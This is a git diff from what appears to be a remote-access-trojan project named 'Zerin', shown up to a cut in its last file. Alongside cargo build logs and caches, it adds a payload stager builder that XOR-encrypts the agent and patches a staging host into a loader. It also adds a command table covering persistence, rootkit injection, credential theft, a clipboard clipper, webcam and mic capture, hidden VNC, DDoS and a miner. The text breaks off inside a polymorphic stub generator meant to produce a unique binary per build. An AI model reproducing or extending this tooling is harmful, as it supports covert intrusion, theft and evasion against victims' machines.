\u001b[1m\u001b[33m|\u001b[0m metadata: Option>,\n> \u001b[1m\u001b[94m28\u001b[0m \u001b[1m\u001b[94m|\u001b[0m \u001b[1m\u001b[33m|\u001b[0m ) -> Result<(Oid, Arc), Error> {\n> \u001b[1m\u001b[94m|\u001b[0m \u001b[1m\u001b[33m|___________________________________________________^\u001b[0m\n> \u001b[1m\u001b[94m|\u001b[0m\n> \u001b[1m\u001b[94m= \u001b[0m\u001b[1mwarning\u001b[0m: this was previously accepted by the compiler but is being phased out; it will become a hard error in Rust 2024 and in a future release in all editions!\n> \u001b[1m\u001b[94m= \u001b[0m\u001b[1mnote\u001b[0m: for more information, see \n> \u001b[1m\u001b[94m= \u001b[0m\u001b[1mhelp\u001b[0m: specify the types explicitly\n> \u001b[1m\u001b[92mnote\u001b[0m: in edition 2024, the requirement `!: sqlx_core::io::Decode<'_>` will fail\n> \u001b[1m\u001b[94m--> \u001b[0m/root/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/sqlx-postgres-0.7.4/src/connection/executor.rs:68:10\n> \u001b[1m\u001b[94m|\u001b[0m\n> \u001b[1m\u001b[94m68\u001b[0m \u001b[1m\u001b[94m|\u001b[0m .recv_expect(MessageFormat::ParseComplete)\n> \u001b[1m\u001b[94m|\u001b[0m \u001b[1m\u001b[92m^^^^^^^^^^^\u001b[0m\n> \u001b[1m\u001b[96mhelp\u001b[0m: use `()` annotations to avoid fallback changes\n> \u001b[1m\u001b[94m|\u001b[0m\n> \u001b[1m\u001b[94m66\u001b[0m \u001b[1m\u001b[94m| \u001b[0m let _\u001b[92m: ()\u001b[0m = conn\n> \u001b[1m\u001b[94m|\u001b[0m \u001b[92m++++\u001b[0m\n> \n> \u001b[1m\u001b[33mwarning\u001b[0m\u001b[1m: this function depends on never type fallback being `()`\u001b[0m\n> \u001b[1m\u001b[94m--> \u001b[0m/root/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/sqlx-postgres-0.7.4/src/copy.rs:262:5\n> \u001b[1m\u001b[94m|\u001b[0m\n> \u001b[1m\u001b[94m262\u001b[0m \u001b[1m\u001b[94m|\u001b[0m pub async fn abort(mut self, msg: impl Into) -> Result<()> {\n> \u001b[1m\u001b[94m|\u001b[0m \u001b[1m\u001b[33m^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\u001b[0m\n> \u001b[1m\u001b[94m|\u001b[0m\n> \u001b[1m\u001b[94m= \u001b[0m\u001b[1mwarning\u001b[0m: this was previously accepted by the compiler but is being phased out; it will become a hard error in Rust 2024 and in a future release in all editions!\n> \u001b[1m\u001b[94m= \u001b[0m\u001b[1mnote\u001b[0m: for more information, see \n> \u001b[1m\u001b[94m= \u001b[0m\u001b[1mhelp\u001b[0m: specify the types explicitly\n> \u001b[1m\u001b[92mnote\u001b[0m: in edition 2024, the requirement `!: sqlx_core::io::Decode<'_>` will fail\n> \u001b[1m\u001b[94m--> \u001b[0m/root/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/sqlx-postgres-0.7.4/src/copy.rs:280:30\n> \u001b[1m\u001b[94m|\u001b[0m\n> \u001b[1m\u001b[94m280\u001b[0m \u001b[1m\u001b[94m|\u001b[0m \u001b[1m\u001b[94m...\u001b[0m .recv_expect(MessageFormat::ReadyForQuery)\n> \u001b[1m\u001b[94m|\u001b[0m \u001b[1m\u001b[92m^^^^^^^^^^^\u001b[0m\n> \u001b[1m\u001b[96mhelp\u001b[0m: use `()` annotations to avoid fallback changes\n> \u001b[1m\u001b[94m|\u001b[0m\n> \u001b[1m\u001b[94m280\u001b[0m \u001b[1m\u001b[94m| \u001b[0m .recv_expect\u001b[92m::<()>\u001b[0m(MessageFormat::ReadyForQuery)\n> \u001b[1m\u001b[94m|\u001b[0m \u001b[92m++++++\u001b[0m\n> \n> \u001b[1m\u001b[33mwarning\u001b[0m\u001b[1m: this function depends on never type fallback being `()`\u001b[0m\n> \u001b[1m\u001b[94m--> \u001b[0m/root/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/sqlx-postgres-0.7.4/src/copy.rs:294:5\n> \u001b[1m\u001b[94m|\u001b[0m\n> \u001b[1m\u001b[94m294\u001b[0m \u001b[1m\u001b[94m|\u001b[0m pub async fn finish(mut self) -> Result {\n> \u001b[1m\u001b[94m|\u001b[0m \u001b[1m\u001b[33m^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\u001b[0m\n> \u001b[1m\u001b[94m|\u001b[0m\n> \u001b[1m\u001b[94m= \u001b[0m\u001b[1mwarning\u001b[0m: this was previously accepted by the compiler but is being phased out; it will become a hard error in Rust 2024 and in a future release in all editions!\n> \u001b[1m\u001b[94m= \u001b[0m\u001b[1mnote\u001b[0m: for more information, see \n> \u001b[1m\u001b[94m= \u001b[0m\u001b[1mhelp\u001b[0m: specify the types explicitly\n> \u001b[1m\u001b[92mnote\u001b[0m: in edition 2024, the requirement `!: sqlx_core::io::Decode<'_>` will fail\n> \u001b[1m\u001b[94m--> \u001b[0m/root/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/sqlx-postgres-0.7.4/src/copy.rs:314:14\n> \u001b[1m\u001b[94m|\u001b[0m\n> \u001b[1m\u001b[94m314\u001b[0m \u001b[1m\u001b[94m|\u001b[0m .recv_expect(MessageFormat::ReadyForQuery)\n> \u001b[1m\u001b[94m|\u001b[0m \u001b[1m\u001b[92m^^^^^^^^^^^\u001b[0m\n> \u001b[1m\u001b[96mhelp\u001b[0m: use `()` annotations to avoid fallback changes\n> \u001b[1m\u001b[94m|\u001b[0m\n> \u001b[1m\u001b[94m314\u001b[0m \u001b[1m\u001b[94m| \u001b[0m .recv_expect\u001b[92m::<()>\u001b[0m(MessageFormat::ReadyForQuery)\n> \u001b[1m\u001b[94m|\u001b[0m \u001b[92m++++++\u001b[0m\n> \n> \u001b[1m\u001b[33mwarning\u001b[0m\u001b[1m: this function depends on never type fallback being `()`\u001b[0m\n> \u001b[1m\u001b[94m--> \u001b[0m/root/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/sqlx-postgres-0.7.4/src/copy.rs:331:1\n> \u001b[1m\u001b[94m|\u001b[0m\n> \u001b[1m\u001b[94m331\u001b[0m \u001b[1m\u001b[94m|\u001b[0m \u001b[1m\u001b[33m/\u001b[0m async fn pg_begin_copy_out<'c, C: DerefMut + Send + 'c>(\n> \u001b[1m\u001b[94m332\u001b[0m \u001b[1m\u001b[94m|\u001b[0m \u001b[1m\u001b[33m|\u001b[0m mut conn: C,\n> \u001b[1m\u001b[94m333\u001b[0m \u001b[1m\u001b[94m|\u001b[0m \u001b[1m\u001b[33m|\u001b[0m statement: &str,\n> \u001b[1m\u001b[94m334\u001b[0m \u001b[1m\u001b[94m|\u001b[0m \u001b[1m\u001b[33m|\u001b[0m ) -> Result>> {\n> \u001b[1m\u001b[94m|\u001b[0m \u001b[1m\u001b[33m|_________________________________________^\u001b[0m\n> \u001b[1m\u001b[94m|\u001b[0m\n> \u001b[1m\u001b[94m= \u001b[0m\u001b[1mwarning\u001b[0m: this was previously accepted by the compiler but is being phased out; it will become a hard error in Rust 2024 and in a future release in all editions!\n> \u001b[1m\u001b[94m= \u001b[0m\u001b[1mnote\u001b[0m: for more information, see \n> \u001b[1m\u001b[94m= \u001b[0m\u001b[1mhelp\u001b[0m: specify the types explicitly\n> \u001b[1m\u001b[92mnote\u001b[0m: in edition 2024, the requirement `!: sqlx_core::io::Decode<'_>` will fail\n> \u001b[1m\u001b[94m--> \u001b[0m/root/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/sqlx-postgres-0.7.4/src/copy.rs:350:33\n> \u001b[1m\u001b[94m|\u001b[0m\n> \u001b[1m\u001b[94m350\u001b[0m \u001b[1m\u001b[94m|\u001b[0m conn.stream.recv_expect(MessageFormat::CommandComplete).await?;\n> \u001b[1m\u001b[94m|\u001b[0m \u001b[1m\u001b[92m^^^^^^^^^^^\u001b[0m\n> \u001b[1m\u001b[96mhelp\u001b[0m: use `()` annotations to avoid fallback changes\n> \u001b[1m\u001b[94m|\u001b[0m\n> \u001b[1m\u001b[94m350\u001b[0m \u001b[92m~ \u001b[0m conn.stream.recv_expect\u001b[92m::<()>\u001b[0m(MessageFormat::CommandComplete).await?;\n> \u001b[1m\u001b[94m351\u001b[0m \u001b[92m~ \u001b[0m conn.stream.recv_expect\u001b[92m::<()>\u001b[0m(MessageFormat::ReadyForQuery).await?;\n> \u001b[1m\u001b[94m|\u001b[0m\n> \n"}}]} \ No newline at end of file diff --git a/target/.rustc_info.json b/target/.rustc_info.json new file mode 100755 index 0000000..4996d40 --- /dev/null +++ b/target/.rustc_info.json @@ -0,0 +1 @@ +{"rustc_fingerprint":13369905457575845358,"outputs":{"17747080675513052775":{"success":true,"status":"","code":0,"stdout":"rustc 1.94.1 (e408947bf 2026-03-25)\nbinary: rustc\ncommit-hash: e408947bfd200af42db322daf0fadfe7e26d3bd1\ncommit-date: 2026-03-25\nhost: aarch64-apple-darwin\nrelease: 1.94.1\nLLVM version: 21.1.8\n","stderr":""},"7971740275564407648":{"success":true,"status":"","code":0,"stdout":"___\nlib___.rlib\nlib___.dylib\nlib___.dylib\nlib___.a\nlib___.dylib\n/Users/jessiepinkmen/.rustup/toolchains/stable-aarch64-apple-darwin\noff\npacked\nunpacked\n___\ndebug_assertions\npanic=\"unwind\"\nproc_macro\ntarget_abi=\"\"\ntarget_arch=\"aarch64\"\ntarget_endian=\"little\"\ntarget_env=\"\"\ntarget_family=\"unix\"\ntarget_feature=\"aes\"\ntarget_feature=\"crc\"\ntarget_feature=\"dit\"\ntarget_feature=\"dotprod\"\ntarget_feature=\"dpb\"\ntarget_feature=\"dpb2\"\ntarget_feature=\"fcma\"\ntarget_feature=\"fhm\"\ntarget_feature=\"flagm\"\ntarget_feature=\"fp16\"\ntarget_feature=\"frintts\"\ntarget_feature=\"jsconv\"\ntarget_feature=\"lor\"\ntarget_feature=\"lse\"\ntarget_feature=\"neon\"\ntarget_feature=\"paca\"\ntarget_feature=\"pacg\"\ntarget_feature=\"pan\"\ntarget_feature=\"pmuv3\"\ntarget_feature=\"ras\"\ntarget_feature=\"rcpc\"\ntarget_feature=\"rcpc2\"\ntarget_feature=\"rdm\"\ntarget_feature=\"sb\"\ntarget_feature=\"sha2\"\ntarget_feature=\"sha3\"\ntarget_feature=\"ssbs\"\ntarget_feature=\"vh\"\ntarget_has_atomic=\"128\"\ntarget_has_atomic=\"16\"\ntarget_has_atomic=\"32\"\ntarget_has_atomic=\"64\"\ntarget_has_atomic=\"8\"\ntarget_has_atomic=\"ptr\"\ntarget_os=\"macos\"\ntarget_pointer_width=\"64\"\ntarget_vendor=\"apple\"\nunix\n","stderr":""},"6432102384495711296":{"success":true,"status":"","code":0,"stdout":"___\nlib___.rlib\nlib___.dylib\nlib___.dylib\nlib___.a\nlib___.dylib\n/Users/jessiepinkmen/.rustup/toolchains/stable-aarch64-apple-darwin\noff\npacked\nunpacked\n___\ndebug_assertions\npanic=\"unwind\"\nproc_macro\ntarget_abi=\"\"\ntarget_arch=\"aarch64\"\ntarget_endian=\"little\"\ntarget_env=\"\"\ntarget_family=\"unix\"\ntarget_feature=\"aes\"\ntarget_feature=\"crc\"\ntarget_feature=\"dit\"\ntarget_feature=\"dotprod\"\ntarget_feature=\"dpb\"\ntarget_feature=\"dpb2\"\ntarget_feature=\"fcma\"\ntarget_feature=\"fhm\"\ntarget_feature=\"flagm\"\ntarget_feature=\"fp16\"\ntarget_feature=\"frintts\"\ntarget_feature=\"jsconv\"\ntarget_feature=\"lor\"\ntarget_feature=\"lse\"\ntarget_feature=\"neon\"\ntarget_feature=\"paca\"\ntarget_feature=\"pacg\"\ntarget_feature=\"pan\"\ntarget_feature=\"pmuv3\"\ntarget_feature=\"ras\"\ntarget_feature=\"rcpc\"\ntarget_feature=\"rcpc2\"\ntarget_feature=\"rdm\"\ntarget_feature=\"sb\"\ntarget_feature=\"sha2\"\ntarget_feature=\"sha3\"\ntarget_feature=\"ssbs\"\ntarget_feature=\"vh\"\ntarget_has_atomic=\"128\"\ntarget_has_atomic=\"16\"\ntarget_has_atomic=\"32\"\ntarget_has_atomic=\"64\"\ntarget_has_atomic=\"8\"\ntarget_has_atomic=\"ptr\"\ntarget_os=\"macos\"\ntarget_pointer_width=\"64\"\ntarget_vendor=\"apple\"\nunix\n","stderr":""}},"successes":{}} \ No newline at end of file diff --git a/target/CACHEDIR.TAG b/target/CACHEDIR.TAG new file mode 100755 index 0000000..20d7c31 --- /dev/null +++ b/target/CACHEDIR.TAG @@ -0,0 +1,3 @@ +Signature: 8a477f597d28d172789f06886806bc55 +# This file is a cache directory tag created by cargo. +# For information about cache directory tags see https://bford.info/cachedir/ diff --git a/target/debug/.cargo-lock b/target/debug/.cargo-lock new file mode 100644 index 0000000..e69de29 diff --git a/target/flycheck1/stderr b/target/flycheck1/stderr new file mode 100644 index 0000000..ac2814e --- /dev/null +++ b/target/flycheck1/stderr @@ -0,0 +1,38 @@ + Blocking waiting for file lock on package cache + Blocking waiting for file lock on package cache + Blocking waiting for file lock on package cache + 0.290841417s INFO prepare_target{force=false package_id=zerin v1.0.0 (/Users/jessiepinkmen/Documents/rats:malware copy/Zerin (2)) target="zerin"}: cargo::core::compiler::fingerprint: fingerprint error for zerin v1.0.0 (/Users/jessiepinkmen/Documents/rats:malware copy/Zerin (2))/Check { test: false }/TargetInner { name: "zerin", doc: true, ..: with_path("/Users/jessiepinkmen/Documents/rats:malware copy/Zerin (2)/src/main.rs", Edition2021) } + 0.290870459s INFO prepare_target{force=false package_id=zerin v1.0.0 (/Users/jessiepinkmen/Documents/rats:malware copy/Zerin (2)) target="zerin"}: cargo::core::compiler::fingerprint: err: failed to read `/Users/jessiepinkmen/Documents/rats:malware copy/Zerin (2)/target/debug/.fingerprint/zerin-6135a192fee9e0f4/bin-zerin` + +Caused by: + No such file or directory (os error 2) + +Stack backtrace: + 0: std::backtrace::Backtrace::create + 1: cargo_util::paths::read_bytes + 2: cargo_util::paths::read + 3: cargo::core::compiler::fingerprint::_compare_old_fingerprint + 4: cargo::core::compiler::fingerprint::prepare_target + 5: cargo::core::compiler::compile + 6: ::compile + 7: cargo::ops::cargo_compile::compile_ws + 8: cargo::ops::cargo_compile::compile_with_exec + 9: cargo::ops::cargo_compile::compile + 10: cargo::commands::check::exec + 11: ::exec + 12: cargo::main + 13: std::sys::backtrace::__rust_begin_short_backtrace:: + 14: std::rt::lang_start::<()>::{closure#0} + 15: std::rt::lang_start_internal + 16: _main +error: failed to join paths from `$DYLD_FALLBACK_LIBRARY_PATH` together + +Check if any of path segments listed below contain an unterminated quote character or path separator: + "/Users/jessiepinkmen/Documents/rats:malware copy/Zerin (2)/target/debug/deps" + "/Users/jessiepinkmen/.rustup/toolchains/stable-aarch64-apple-darwin/lib" + "/Users/jessiepinkmen/lib" + "/usr/local/lib" + "/usr/lib" + +Caused by: + path segment contains separator `:` diff --git a/target/flycheck1/stdout b/target/flycheck1/stdout new file mode 100644 index 0000000..e69de29 diff --git a/target/release/.cargo-lock b/target/release/.cargo-lock new file mode 100755 index 0000000..e69de29 diff --git a/target/release/zerin-server b/target/release/zerin-server new file mode 100755 index 0000000..56045e4 Binary files /dev/null and b/target/release/zerin-server differ diff --git a/target/release/zerin-server.d b/target/release/zerin-server.d new file mode 100755 index 0000000..a91c644 --- /dev/null +++ b/target/release/zerin-server.d @@ -0,0 +1 @@ +/opt/zerin/server/target/release/zerin-server: /opt/zerin/server/src/agents/mod.rs /opt/zerin/server/src/api/admin.rs /opt/zerin/server/src/api/auth.rs /opt/zerin/server/src/api/crypter.rs /opt/zerin/server/src/api/mod.rs /opt/zerin/server/src/api/payments.rs /opt/zerin/server/src/api/routes.rs /opt/zerin/server/src/api/socks5.rs /opt/zerin/server/src/api/vnc.rs /opt/zerin/server/src/api/ws.rs /opt/zerin/server/src/builder.rs /opt/zerin/server/src/config.rs /opt/zerin/server/src/crypter.rs /opt/zerin/server/src/crypto/aead.rs /opt/zerin/server/src/crypto/exchange.rs /opt/zerin/server/src/crypto/kdf.rs /opt/zerin/server/src/crypto/keys.rs /opt/zerin/server/src/crypto/mod.rs /opt/zerin/server/src/db/mod.rs /opt/zerin/server/src/db/queries.rs /opt/zerin/server/src/db/schema.rs /opt/zerin/server/src/events/mod.rs /opt/zerin/server/src/license.rs /opt/zerin/server/src/listeners/https.rs /opt/zerin/server/src/listeners/mod.rs /opt/zerin/server/src/main.rs /opt/zerin/server/src/payments.rs /opt/zerin/server/src/polymorph.rs /opt/zerin/server/src/protocol.rs /opt/zerin/server/src/socks5.rs /opt/zerin/server/src/state.rs /opt/zerin/server/src/tasks/mod.rs /opt/zerin/server/src/vnc/mod.rs /opt/zerin/server/src/wire.rs diff --git a/tools/build_stager.py b/tools/build_stager.py new file mode 100755 index 0000000..99bcb23 --- /dev/null +++ b/tools/build_stager.py @@ -0,0 +1,144 @@ +#!/usr/bin/env python3 +""" +build_stager.py - Encrypt agent payload for staged delivery. + +Takes a compiled agent .exe and produces: + 1. An encrypted .bin file (XOR with random 32-byte key) + 2. Prints the XOR key hex for patching into the stager binary + +Usage: + python tools/build_stager.py --payload --host --payload-id --output +""" +import os +import sys +import struct +import argparse + + +def xor_encrypt(data: bytes, key: bytes) -> bytes: + """XOR encrypt/decrypt data with a repeating key.""" + out = bytearray(len(data)) + key_len = len(key) + for i in range(len(data)): + out[i] = data[i] ^ key[i % key_len] + return bytes(out) + + +def patch_stager_binary(stager_data: bytearray, key: bytes, + host: str, payload_id: str, port: int) -> bytearray: + """Patch the compiled stager binary with the real key, host, and path. + + Finds placeholder byte patterns and replaces them in-place. + """ + # Patch XOR key (find 32 zero bytes that are the STAGE_KEY placeholder) + # The key placeholder is 32 consecutive 0x00 bytes. To avoid false matches, + # look for the specific pattern near a known marker. + key_marker = b'\x00' * 32 + idx = stager_data.find(key_marker) + if idx != -1: + stager_data[idx:idx+32] = key + else: + print("WARNING: Could not find key placeholder in stager binary", file=sys.stderr) + + # Patch host (wide string "PLACEHOLDER_HOST_PLACEHOLDER_HOST" = UTF-16LE) + host_marker = "PLACEHOLDER_HOST_PLACEHOLDER_HOST".encode('utf-16-le') + host_wide = host.encode('utf-16-le') + idx = stager_data.find(host_marker) + if idx != -1: + # Zero-fill the placeholder, then write the real host + stager_data[idx:idx+len(host_marker)] = b'\x00' * len(host_marker) + stager_data[idx:idx+len(host_wide)] = host_wide + else: + print("WARNING: Could not find host placeholder in stager binary", file=sys.stderr) + + # Patch path (wide string with payload ID) + path_marker = "/api/payloads/PLACEHOLDER_ID_PLACEHOLDER/stage".encode('utf-16-le') + real_path = f"/api/payloads/{payload_id}/stage".encode('utf-16-le') + idx = stager_data.find(path_marker) + if idx != -1: + stager_data[idx:idx+len(path_marker)] = b'\x00' * len(path_marker) + stager_data[idx:idx+len(real_path)] = real_path + else: + print("WARNING: Could not find path placeholder in stager binary", file=sys.stderr) + + # Patch port (find the 16-bit value 443 = 0x01BB in little-endian) + # This is trickier -- port patching is optional for non-443 ports + if port != 443: + print(f"NOTE: Non-standard port {port} -- manual patching may be needed", file=sys.stderr) + + return stager_data + + +def main(): + parser = argparse.ArgumentParser(description="Encrypt agent payload for staged delivery") + parser.add_argument("--payload", required=True, + help="Path to compiled agent .exe") + parser.add_argument("--host", required=True, + help="Staging server hostname (e.g., zerin.lol)") + parser.add_argument("--port", type=int, default=443, + help="Staging server port (default: 443)") + parser.add_argument("--payload-id", required=True, + help="Payload ID for staging URL path") + parser.add_argument("--stager", default=None, + help="Path to compiled stager.exe to patch (optional)") + parser.add_argument("--output", required=True, + help="Output directory for encrypted payload + patched stager") + args = parser.parse_args() + + if not os.path.isfile(args.payload): + print(f"ERROR: Payload not found: {args.payload}", file=sys.stderr) + sys.exit(1) + + os.makedirs(args.output, exist_ok=True) + + # Generate random 32-byte XOR key + key = os.urandom(32) + + # Read and encrypt the agent payload + with open(args.payload, "rb") as f: + payload_data = f.read() + + if payload_data[:2] != b'MZ': + print(f"ERROR: Payload is not a valid PE: {args.payload}", file=sys.stderr) + sys.exit(1) + + encrypted = xor_encrypt(payload_data, key) + + # Write encrypted payload + enc_path = os.path.join(args.output, "payload.bin") + with open(enc_path, "wb") as f: + f.write(encrypted) + + print(f"Encrypted payload: {enc_path}") + print(f" Original size: {len(payload_data):,} bytes") + print(f" Encrypted size: {len(encrypted):,} bytes") + print(f" XOR key: {key.hex()}") + + # Patch stager binary if provided + if args.stager: + if not os.path.isfile(args.stager): + print(f"ERROR: Stager binary not found: {args.stager}", file=sys.stderr) + sys.exit(1) + + with open(args.stager, "rb") as f: + stager_data = bytearray(f.read()) + + stager_data = patch_stager_binary(stager_data, key, args.host, args.payload_id, args.port) + + patched_path = os.path.join(args.output, "stager.exe") + with open(patched_path, "wb") as f: + f.write(stager_data) + + print(f"Patched stager: {patched_path}") + print(f" Host: {args.host}") + print(f" Path: /api/payloads/{args.payload_id}/stage") + print(f" Port: {args.port}") + else: + print(f"\nTo patch a stager binary, re-run with --stager ") + print(f" Stage URL: https://{args.host}:{args.port}/api/payloads/{args.payload_id}/stage") + + print("\nUpload payload.bin to the server's payloads directory for staged delivery.") + + +if __name__ == "__main__": + main() diff --git a/tools/donor_cert.bin b/tools/donor_cert.bin new file mode 100755 index 0000000..36b07ba Binary files /dev/null and b/tools/donor_cert.bin differ diff --git a/tools/generate_cmd_hashes.py b/tools/generate_cmd_hashes.py new file mode 100755 index 0000000..153ed49 --- /dev/null +++ b/tools/generate_cmd_hashes.py @@ -0,0 +1,196 @@ +#!/usr/bin/env python3 +""" +generate_cmd_hashes.py - Build-time FNV-1a command hash generator for Zerin agent. + +Computes FNV-1a 32-bit hashes for all command names and outputs a header file +with #define constants, replacing string comparisons with hash lookups. + +Outputs: + - include/cmd_hashes_gen.h (hash defines + inline hash function) + +Usage: + python tools/generate_cmd_hashes.py [--outdir ] +""" + +import os +import sys +import argparse + +# ============================================================================ +# Command table (must match handler.c order) +# ============================================================================ + +COMMANDS = [ + "shell", + "whoami", + "ps", + "ls", + "cd", + "pwd", + "upload", + "download", + "screenshot", + "netstat", + "ifconfig", + "reg_read", + "reg_write", + "persist_runkey", + "persist_schtask", + "persist_service", + "env", + "sysinfo", + "persist_startup", + "persist_logonscript", + "persist_screensaver", + "persist_ifeo", + "persist_bits", + "persist_com", + "persist_dllhijack", + "persist_wmi", + "persist_portmon", + "persist_ssp", + "delete", + "encrypt", + "decrypt", + "execute", + "uninstall", + "restart", + "shutdown", + "troll_msgbox", + "troll_tts", + "troll_website", + "troll_wallpaper", + "troll_taskbar", + "troll_cd_tray", + "chat", + "rootkit_status", + "rootkit_inject", + "rootkit_inject_all", + "vnc_start", + "vnc_stop", + "hvnc_start", + "hvnc_stop", + "hvnc_exec", + "powershell", + "kill", + "windows", + "installed_apps", + "specs", + "troll_swapmouse", + "troll_disablesound", + "troll_blackscreen", + "troll_disablekeyboard", + "troll_disablemouse", + "troll_reroutesites", + "creds", + "clipper_start", + "clipper_stop", + "clipper_config", + "webcam_start", + "webcam_stop", + "webcam_list", + "mic_start", + "mic_stop", + "socks5_start", + "socks5_stop", + "ddos_start", + "ddos_stop", + "miner_start", + "miner_stop", + "miner_status", + "elevate", +] + +assert len(COMMANDS) == 78, f"Expected 78 commands, got {len(COMMANDS)}" + +# ============================================================================ +# FNV-1a 32-bit hash +# ============================================================================ + +def fnv1a_32(s): + h = 0x811c9dc5 + for c in s.encode('utf-8'): + h ^= c + h = (h * 0x01000193) & 0xFFFFFFFF + return h + +# ============================================================================ +# Header generation +# ============================================================================ + +def generate_header(commands): + """Generate the C header content with hash defines.""" + # Compute hashes and check for collisions + hashes = {} + for cmd in commands: + h = fnv1a_32(cmd) + if h in hashes: + print(f"ERROR: Hash collision between '{hashes[h]}' and '{cmd}' " + f"(0x{h:08x})", file=sys.stderr) + sys.exit(1) + hashes[h] = cmd + + # Find max define name length for alignment + max_name_len = max(len(f"CMD_HASH_{cmd.upper()}") for cmd in commands) + + lines = [] + lines.append("// Auto-generated by generate_cmd_hashes.py - DO NOT EDIT") + lines.append("#ifndef CMD_HASHES_GEN_H") + lines.append("#define CMD_HASHES_GEN_H") + lines.append("") + lines.append("#include ") + lines.append("") + lines.append("static inline uint32_t fnv1a_hash(const char *s) {") + lines.append(" uint32_t h = 0x811c9dc5u;") + lines.append(" for (; *s; s++) {") + lines.append(" h ^= (uint8_t)*s;") + lines.append(" h *= 0x01000193u;") + lines.append(" }") + lines.append(" return h;") + lines.append("}") + lines.append("") + + for cmd in commands: + h = fnv1a_32(cmd) + define_name = f"CMD_HASH_{cmd.upper()}" + padding = " " * (max_name_len - len(define_name)) + lines.append(f"#define {define_name}{padding} 0x{h:08x}u // \"{cmd}\"") + + lines.append("") + lines.append("#endif // CMD_HASHES_GEN_H") + lines.append("") + + return "\n".join(lines) + +# ============================================================================ +# Main +# ============================================================================ + +def main(): + parser = argparse.ArgumentParser( + description="Generate FNV-1a command hash header for Zerin agent" + ) + parser.add_argument("--outdir", default=None, + help="Agent root directory (default: script parent dir)") + args = parser.parse_args() + + # Determine paths + script_dir = os.path.dirname(os.path.abspath(__file__)) + agent_dir = args.outdir or os.path.dirname(script_dir) + + header_path = os.path.join(agent_dir, "include", "cmd_hashes_gen.h") + + # Ensure output directory exists + os.makedirs(os.path.dirname(header_path), exist_ok=True) + + # Generate + header_content = generate_header(COMMANDS) + + # Write header + with open(header_path, "w", newline="\n") as f: + f.write(header_content) + + print(f"Generated {header_path} ({len(COMMANDS)} commands, no collisions)") + +if __name__ == "__main__": + main() diff --git a/tools/generate_poly_stub.py b/tools/generate_poly_stub.py new file mode 100755 index 0000000..dad1367 --- /dev/null +++ b/tools/generate_poly_stub.py @@ -0,0 +1,2029 @@ +#!/usr/bin/env python3 +""" +generate_poly_stub.py - Polymorphic stub generator for per-build unique binaries. + +Generates per build: + 1. stub_poly_hash.h — Hash function (random algorithm) + 28 FH_* constants + 2. stub_poly_junk.c — 40-80 random junk functions for code layout variation + 3. stub_poly_config.h — Per-build config (magic, sections, charset, thresholds) + 4. stub_poly_metamorphic.h — Metamorphic function bodies + 5. stub_poly_iat.h — IAT padding (12-20 benign API calls per build) + 6. stub_poly_padding.c/h — Realistic .rdata padding (150-400KB per build) + +Usage: + python generate_poly_stub.py --outdir +""" + +import argparse +import os +import random +import struct +import sys + +# --------------------------------------------------------------------------- +# Hash algorithm implementations (must match C output exactly) +# --------------------------------------------------------------------------- + +def djb2a_hash_narrow(s: str, seed: int) -> int: + """DJB2a variant with custom seed, operating on ASCII bytes.""" + h = seed & 0xFFFFFFFF + for c in s.encode('ascii'): + h = (((h << 5) + h) ^ c) & 0xFFFFFFFF + return h + + +def djb2a_hash_wide(s: str, seed: int) -> int: + """DJB2a variant on raw UTF-16LE bytes with case folding (a-z -> A-Z).""" + h = seed & 0xFFFFFFFF + raw = s.encode('utf-16-le') + for b in raw: + c = b + if 0x61 <= c <= 0x7A: + c -= 0x20 + h = (((h << 5) + h) ^ c) & 0xFFFFFFFF + return h + + +def fnv1a_hash_narrow(s: str) -> int: + """FNV-1a 32-bit hash on ASCII bytes.""" + h = 0x811C9DC5 + for c in s.encode('ascii'): + h = ((h ^ c) * 0x01000193) & 0xFFFFFFFF + return h + + +def fnv1a_hash_wide(s: str) -> int: + """FNV-1a 32-bit on raw UTF-16LE bytes with case folding.""" + h = 0x811C9DC5 + raw = s.encode('utf-16-le') + for b in raw: + c = b + if 0x61 <= c <= 0x7A: + c -= 0x20 + h = ((h ^ c) * 0x01000193) & 0xFFFFFFFF + return h + + +def sdbm_hash_narrow(s: str, shift1: int, shift2: int) -> int: + """SDBM hash variant with configurable shifts, on ASCII bytes.""" + h = 0 + for c in s.encode('ascii'): + h = (c + (h << shift1) + (h << shift2) - h) & 0xFFFFFFFF + return h + + +def sdbm_hash_wide(s: str, shift1: int, shift2: int) -> int: + """SDBM variant on raw UTF-16LE bytes with case folding.""" + h = 0 + raw = s.encode('utf-16-le') + for b in raw: + c = b + if 0x61 <= c <= 0x7A: + c -= 0x20 + h = (c + (h << shift1) + (h << shift2) - h) & 0xFFFFFFFF + return h + + +def rotating_xor_hash_narrow(s: str, shift1: int, shift2: int) -> int: + """Rotating XOR hash with configurable shifts, on ASCII bytes.""" + h = 0 + for c in s.encode('ascii'): + h = ((h << shift1) ^ (h >> shift2) ^ c) & 0xFFFFFFFF + return h + + +def rotating_xor_hash_wide(s: str, shift1: int, shift2: int) -> int: + """Rotating XOR on raw UTF-16LE bytes with case folding.""" + h = 0 + raw = s.encode('utf-16-le') + for b in raw: + c = b + if 0x61 <= c <= 0x7A: + c -= 0x20 + h = ((h << shift1) ^ (h >> shift2) ^ c) & 0xFFFFFFFF + return h + + +def jenkins_hash_narrow(s: str) -> int: + """Jenkins one-at-a-time hash on ASCII bytes.""" + h = 0 + for c in s.encode('ascii'): + h = (h + c) & 0xFFFFFFFF + h = (h + (h << 10)) & 0xFFFFFFFF + h ^= (h >> 6) + h = (h + (h << 3)) & 0xFFFFFFFF + h ^= (h >> 11) + h = (h + (h << 15)) & 0xFFFFFFFF + return h + + +def jenkins_hash_wide(s: str) -> int: + """Jenkins one-at-a-time on raw UTF-16LE bytes with case folding.""" + h = 0 + raw = s.encode('utf-16-le') + for b in raw: + c = b + if 0x61 <= c <= 0x7A: + c -= 0x20 + h = (h + c) & 0xFFFFFFFF + h = (h + (h << 10)) & 0xFFFFFFFF + h ^= (h >> 6) + h = (h + (h << 3)) & 0xFFFFFFFF + h ^= (h >> 11) + h = (h + (h << 15)) & 0xFFFFFFFF + return h + + +# --------------------------------------------------------------------------- +# 